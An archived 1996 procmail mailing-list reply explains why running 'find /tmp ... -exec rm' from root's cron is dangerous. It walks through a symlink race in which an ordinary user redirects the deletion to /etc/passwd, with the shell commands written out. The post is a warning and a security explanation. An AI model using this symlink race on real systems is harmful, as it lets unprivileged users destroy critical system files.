procmail
[Top] [All Lists]

Re: Automatically Deleting Based on Date

1996-07-01 17:13:29
On Mon, 1 Jul 1996, Stan Ryckman wrote:

Dave Kinchlea <kinch(_at_)kcc(_dot_)empath(_dot_)on(_dot_)ca> wrote:

On Mon, 1 Jul 1996, Doug Hughes wrote:
I never meant to imply that find itself will cause problems, but using
find to remove files from cron is dangerous.

But only  under very specific circumstances. The recent noise about it
was about the use of:

    find /tmp ... -exec rm {} \;

and the race condition exists  becaues /tmp is generally mode 1777
allowing anybody to write in the directory. Knowing the algorithm of
find, it is possible to fool find into providing a path to the rm
command that is, in fact, not pointing to the file that find thinks it
is (find is conjoled into following symbolic links even though it
shouldn't). 

Please enlighten me (though we are getting off-topic); isn't this
really a problem with either having "." in root's path, or not having
the cron job run:
      find /tmp ... -exec /bin/rm {} \;

Others could do a better job I'm sure, but I will try. This has
nothing to do with root having a . in the PATH. The `bug' that I am
referring to is this: 

find recurses down a directory, say
/tmp/foo/etc/, in it are (at least) two entries, `dir' and `passwd', it will
recurse down `dir' before it processes `passwd' but it will assume that
each `..' it processes is `safe' as far as symlinks go because it has
already visited them.

So, it is possible to do something like: 
        mkdirs /tmp/foo/etc
        touch /tmp/foo/etc/passwd
        ls -li /tmp/foo/etc/passwd
  12836 -rw-r--r--   1 root     root            0 Jun 22 21:43 
/tmp/foo/etc/passwd
        mkdirs /tmp/foo/etc/1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/\
1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/\
1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/\
1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/1/2/3/4/5/6/7/8/9/0/
        find /tmp -exec rm -f {} \;
        mv /tmp/foo/etc /tmp/foo/bar
        ln -s /etc /tmp/foo/etc

and find will believe that it is passing a valid file name (ie:
without a symlink)  /tmp/foo/etc/passwd --- the 

        ls -li /tmp/foo/etc/passwd
   5006 -rw-r--r--   1 root     root         1858 Jun 22 21:43 
/tmp/foo/etc/passwd
        ls -li /etc/passwd
   5006 -rw-r--r--   1 root     root         1858 Jun 22 21:43 /etc/passwd


and an ordinary user has just convinced rm to try to delete
/etc/passwd via find, if the find was run by root (via cron at a well
known time), then it will succeed.

Make sense?